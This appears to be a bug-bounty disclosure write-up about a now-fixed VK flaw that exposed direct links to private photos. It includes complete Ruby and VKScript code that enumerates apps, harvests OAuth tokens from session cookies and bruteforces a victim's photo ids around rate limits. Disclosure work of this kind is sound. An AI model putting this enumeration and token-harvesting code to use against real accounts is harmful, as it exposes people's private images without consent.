Exposing private VK photos

tl;dr: Vulnerability in VK bookmarks allowed attackers to get direct links to images from messages, private albums of users/communities. I wrote an exploit that bruteforces photos ids uploaded for a certain period and then using this vulnerability I could get direct links to images. In short: I could get all yours yesterday's photos in 1 minute, in 7 minutes - all photos that were uploaded last week, 20 minutes - last month, 2 hours - all for last year. This bug was fixed and VK offered me 10k votes (it's an internal virtual currency, approx. $700)

Main purpose of bookmarks in VK is to store liked stuff, but there is an ability to manually add an internal link to something in the site. The last one sounds interesting, isnt it? I added link to a photo and then I saw preview of an image and text with a type of added object:

add_link

Some logic on server parses link, tries to recognize model and then fetches information about object from database. When developers write such complex methods, it's very easy to make some mistake. So I could not pass by this:)

After a few minutes of experiments, I found small information leakage issues. When I added link to photo or video that I could not access, I saw a small preview image. Also I could see private notes' titles. Using fave.getLinks method in API I also could get thumbnails (75px and 130px). So nothing serious.

I decided to go to mobile version of site to make sure everything displayed there as in normal version. And when I looked into the page code I saw this:

data_src_big

Yeah, src_big data attribute contained a direct link to the original image!

Thus, I was able to get a direct link to any image in VK, regardless of where it was uploaded and it's privacy settings. It could be an image from personal messages or photo from private albums of any user/community or generated by some app and etc.

Seems I could finish research on that and write to VK developers about this issue, but I was wondering is it possible to get all (or at least uploaded in a given period of time) user's photos and then get direct links to them using this vulnerability. But, the main problem here is that I don't know photos links (photoXXXXXX_XXXXXXX) that I should add to bookmarks. First I thought about bruteforcing this links, but immediately rejected this crazy idea. I hoped I could find some place where all this photos ids leaks, I checked every method related to photos/albums and etc, but with no success. I wanted to give up, but looked again at the photo link and suddenly realized that the bruteforcing was a good idea!

How VK photos work

As you can see, link to photo looks like photo52708106_359542386, it consists of two parts: (photo owner id)_(some number). What is the second part and how being generated?

Alas, but after two hours of experiments, I did not understand it =/ On HighLoad++ 2012 Oleg Illarionov said a few words how they store pictures, about horizontal sharding and how they choose an upload server, but nothing that could help me understand how the second part is being generated. Seems like there is some global counter for that, but not so simple... Because if the second part was formed by a conventional auto_increment, then ids values were already have reached enormous values (e.g. in facebook this value ~700T at this moment), but in VK this value only ~400M (although, according to statistics every day users upload upto 30M photos). So, it's clear that this value is not unique and not random. I wrote a small script that moved through "old" users photos and looked into their ids, finally I got a chart that displays how the second part value changes per year:

annual_growth_of_id

Values leaps according to some factors (number of servers or new logic maybe?). But the point is that they are small enough (especially in the last 2-3 years) and very easy to calculate the range of id for the desired period of time. So, for example, to find direct links to user's images for last year just need to go through and add to bookmarks only 30M (from _320000000 to _350000000) variations of links! Below I described the bruteforce technique that allowed me to do this in a few minutes.

Photos ids bruteforcing

I could try to add links manually via interface or write simple script that adds one link per request, but it would be boring and too long. In this case bruteforce's speed would have been only 3 bookmarks/sec, because there can be maximum 3 requests to API methods per second.

Speed up bruteforce x25

In an attempt to bypass this limitation, I decided to use execute method. In one call of this method can be upto 25 requests to API.

var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
  API.fave.addLink({ "link": link + start });
  start = start + 1;
};

Thus, bruteforce speed increased to 3*25 bookmarks/sec. Would have to spend a lot of time to fetch photos uploaded for a last year, but for shorter period this method already could provide photos for a reasonable time.

Speed up bruteforce x25 * concurrency value

Requests/seconds restriction acts on each application separately, not a whole user! So there is nothing to prevent me from send multiple parallel requests using tokens from different applications.

First, I needed to find (or create) required apps count. I wrote the script that searches standalone apps in defined range.

class StandaloneAppsFinder
  attr_reader :app_ids

  def initialize(params)
    @range = params[:in_range]
    @app_ids = []
  end

  def search
    (@range).each do |app_id|
      response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
      app = JSON.parse(response)['response']
      app_ids << app_id if standalone?(app)
    end
  end

  private

  def standalone?(app_data)
    app_data['type'] == 'standalone'
  end
end

Ok, apps have been found, now I had to grant permissions to them and get tokens. To do that I used Implicit Flow client authorization mechanism. I parsed authorization dialog's html, fetched authorization url and then got token from redirect url. This class requires such cookies: p,l (login.vk.com) and remixsid (vk.com):

class Authenticator
  attr_reader :access_tokens

  def initialize(cookie_header)
    @cookies = { 'Cookie' => cookie_header }
    @access_tokens = []
  end

  def authorize_apps(apps)
    apps.each do |app_id|
      auth_url = extract_auth_url_from(oauth_page(app_id))
      redirect_url = open(auth_url, @cookies).base_uri.to_s
      access_tokens << extract_token_from(redirect_url)
    end
  end

  private

  def extract_auth_url_from(oauth_page_html)
    Nokogiri::HTML(oauth_page_html).css('form').attr('action').value
  end

  def extract_token_from(url)
    URI(url).fragment[13..97]
  end

  def oauth_page(app_id)
    open(oauth_page_url(app_id), @cookies).read
  end

  def oauth_page_url(app_id)
    "https://oauth.vk.com/authorize?" +
    "client_id=#{app_id}&" +
    "response_type=token&" +
    "display=mobile&" +
    "scope=474367"
  end
end

The number of concurrent requests is equal to tokens count. I find typhoeus gem being the best solution for performing multiple HTTP requests in parallel. So, I got such bruteforcer:

class PhotosBruteforcer
  PHOTOS_ID_BY_PERIOD = {
    'today' => 366300000..366500000,
    'yesterday' => 366050000..366300000,
    'current_month' => 365000000..366500000,
    'last_month' => 360000000..365000000,
    'current_year' => 350000000..366500000,
    'last_year' => 320000000..350000000
  }

  def initialize(params)
    @victim_id = params[:victim_id]
    @period = PHOTOS_ID_BY_PERIOD[params[:period]]
  end

  def run(tokens)
    hydra = Typhoeus::Hydra.new
    tokensIterator = 0

    (@period).step(25) do |photo_id|
      url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}"
      encoded_url = URI.escape(url).gsub('+', '%2B').delete("\n")

      tokensIterator = tokensIterator == tokens.count - 1 ? 0 : tokensIterator + 1

      hydra.queue Typhoeus::Request.new encoded_url
      hydra.run if tokensIterator.zero?
    end

    hydra.run unless hydra.queued_requests.count.zero?
  end

  private

  def vkscript(photo_id)
    <<-VKScript
    var start = #{photo_id};
    var end = #{photo_id + 25};
    var link = "http://vk.com/photo#{@victim_id}" + "_";
    while(start != end) {
      API.fave.addLink({ "link": link + start });
      start = start + 1;
    };
    return start;
    VKScript
  end
end

Finally, that's how the main launcher script looks:

require 'nokogiri'
require 'open-uri'
require 'typhoeus'
require 'json'

require './standalone_apps_finder'
require './photos_bruteforcer'
require './authenticator'

bruteforcer = PhotosBruteforcer.new(victim_id: ARGV[0], period: ARGV[1])

apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search

# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new(
  'p=;' +
  'l=;' +
  'remixsid=;'
)
authenticator.authorize_apps(apps_finder.app_ids)

bruteforcer.run(authenticator.access_tokens)

When it finished work, in bookmarks there were all victim's photos uploaded in the certain period. After that I could simply go to VK mobile, open browser console, fetch all links from data attributes and enjoy beholding photos:)

Conclusion

It all depends on internet connection, VK server latency, CPU speed and many other outside factors. I ran the script above against my VK account and got such numbers (without time that spent to getting tokens):

Period Elapsed time (minutes)
Yesterday 0.84
Last week 6.9
Last month 18.3
Last year 121.1
Last 3 years 312.5

It's an average time that I got during testing photos ids bruteforcer for a specific period. I'm pretty sure, all this stuff could be speeded up. For example, photos bruteforcer could use a single queue of requests with normal sync logic between each others to get rid of situations when the whole process is stuck because of one timeout request. Or attackers just could buy a couple of EC2 instances and got all photos of desired user in a hour.

Issue reporting

  • 27.04.2015 - sent report to VK's support
  • 01.05.2015 - contacted with developers; all issues has been fixed
  • 07.05.2015 - VK offered me 10k votes

votes_amount